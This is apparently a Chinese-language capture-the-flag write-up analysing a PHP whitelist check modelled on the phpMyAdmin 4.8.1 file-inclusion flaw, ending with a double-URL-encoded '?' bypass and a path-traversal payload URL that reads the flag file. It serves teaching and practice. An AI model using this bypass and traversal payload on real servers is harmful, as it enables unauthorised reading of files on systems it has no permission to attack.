知識點:代碼審計,phpmyadmin任意文件包含漏洞
參考:phpmyadmin 4.8.1任意文件包含
涉及函數:$_REQUEST , in_array() , mb_substr() , mb_strpos()
打開題目查看源碼,發現source.php
,跟進得到源碼
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代碼審計,whitelist數組
裏有另一個元素hint.php
,進去看看,提示了flag
存儲的位置
flag not here, and flag in ffffllllaaaagggg
關鍵代碼:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
即滿足這三個條件才能夠包含(include$_REQUEST['file']
)
$ _REQUEST[‘file’]不爲空
$ _REQUEST[‘file’]爲字符串
emmm::checkFile($_REQUEST[‘file’])返回值爲真。
分析emmm::checkFile()
這個函數
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
1.首先設置了一個白名單,只包含source.php和hint.php,第一個if檢查是否存在$page並且是否爲字符串。
2.檢查$page
是否在白名單中,是的話返回true。接下來,兩個函數一個mb_substr
和mb_strpos
,意思就是截取$page
中?
前面的字符串,然後再進行白名單校驗。
3.在url解碼
後的$page
的?
前面是否在whitelist
裏面
構造payload:
0x01:首先構造?file=source.php
,滿足上述第一點
0x02:再構造?file=source.php?
,滿足上述第二點
0x03:接着構造?file=source.php%253f
,滿足上述第三點
(由於服務器會自動解碼一次,所以在checkFile()中,$page的值一開始會是source.php%3f,urldecode解碼後變成了source.php?,這次便符合了?前內容在白名單的要求,函數返回true)
0x04:最後通過目錄穿越的到ffffllllaaaagggg裏面的內容,也就是flag。
playload:http://10d57afd-7622-4cda-b0be-af3d90f1cce0.node1.buuoj.cn/?file=source.php%253f/../../../../ffffllllaaaagggg